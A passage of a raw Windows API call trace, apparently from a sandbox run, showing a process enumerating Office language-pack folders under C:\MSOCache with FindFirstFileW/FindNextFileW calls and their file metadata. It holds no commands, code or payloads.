cAlternateFileName="")) returned 1 [0063.909] SetEvent (hEvent=0x150) returned 1 [0063.909] ResetEvent (hEvent=0x154) returned 1 [0063.910] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0063.910] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0063.910] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0063.911] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0063.911] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0063.911] GetProcessHeap () returned 0x550000 [0063.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0063.911] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0063.911] GetProcessHeap () returned 0x550000 [0063.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0063.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0063.928] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.928] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0063.928] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0063.928] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0063.929] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0063.929] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0063.929] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0063.929] GetProcessHeap () returned 0x550000 [0063.929] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0063.930] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0063.930] GetProcessHeap () returned 0x550000 [0063.930] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0063.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a00 [0064.170] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.184] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0064.199] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.200] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.203] FindClose (in: hFindFile=0x576a00 | out: hFindFile=0x576a00) returned 1 [0064.205] GetProcessHeap () returned 0x550000 [0064.205] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0064.205] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0064.206] GetProcessHeap () returned 0x550000 [0064.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0064.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a00 [0064.209] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.209] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0064.209] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0064.210] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0064.210] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.210] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.211] FindClose (in: hFindFile=0x576a00 | out: hFindFile=0x576a00) returned 1 [0064.213] GetProcessHeap () returned 0x550000 [0064.213] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0064.213] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0064.214] GetProcessHeap () returned 0x550000 [0064.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0064.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a00 [0064.214] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.215] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.215] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0064.216] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0064.216] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0064.217] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0064.217] FindClose (in: hFindFile=0x576a00 | out: hFindFile=0x576a00) returned 1 [0064.217] GetProcessHeap () returned 0x550000 [0064.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0064.217] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0064.217] GetProcessHeap () returned 0x550000 [0064.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0064.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a00 [0064.218] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.218] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0064.218] GetProcessHeap () returned 0x550000 [0064.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2672090 [0064.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a40 [0064.219] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.219] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, 